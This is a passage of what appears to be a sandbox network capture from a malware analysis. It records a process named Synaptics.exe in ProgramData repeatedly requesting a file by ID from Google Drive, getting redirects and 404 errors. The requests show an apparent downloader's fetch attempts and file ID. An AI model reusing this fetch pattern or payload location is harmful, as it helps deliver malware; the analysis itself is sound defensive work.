ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	49886	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:34 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:34 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:34 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yIlNxlrsecF-uLPjm5wd2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nOZGabucfCi6_ojp6b6dADbXEW6Tf3N7UcBTHAgZ3bEqtUrSHkFjETufhNdLJvQFIVucrM Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:34 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:34 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 53 32 56 30 38 45 4e 4a 43 51 36 41 62 5f 64 69 63 36 4f 74 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="xS2V08ENJCQ6Ab_dic6OtQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:34 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	49887	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:35 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.8	49888	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:35 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.8	49889	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:35 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:35 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:35 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-hizVOgevF3boKwv67EE9qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nNsxXukJ61CQtHlfzVbRMns80IWVXQJreDT4cFzoNIgN4w9mXsuxmnhdRyQ2tRBV1uCjmejojf2LQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:35 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:35 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 6a 75 6a 34 62 71 73 68 7a 77 4e 69 78 79 57 4d 38 53 49 44 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="djuj4bqshzwNixyWM8SIDg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:35 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.8	49892	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:36 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-aacn2tWHAC8jA6xNY69mJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.8	49891	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:36 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-HhlcaBt_rsI8AasR869wUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.8	49897	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:37 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:37 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:37 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wDtv_uvF-tMSynAUCOHNaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPYc8b3LzABelaFdoM4p5fg07e8pj9W_Yc7QiDDCII1SgRNWpvmhSV9wFNTkujswkDTa8Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:37 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:37 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 67 75 7a 37 56 78 4f 4e 4c 4b 70 64 74 57 54 37 43 68 63 2d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="lguz7VxONLKpdtWT7Chc-Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:37 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.8	49894	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:37 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EM5nFKLweCxWi_3stuiMgA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.8	49895	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:37 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:37 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:37 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-YUA4r6OgNfVfMxMUED69SQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nP3YANetAda1bM6zx8ULGwNcaRfBUX_xRWhWsE1hyNVxYWaOmB2gkJN74UZb3Yt4lb22PQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:37 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:37 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 46 59 78 6b 54 4f 52 6d 53 56 67 72 46 6b 4b 77 49 65 71 69 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="HFYxkTORmSVgrFkKwIeqiQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:37 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

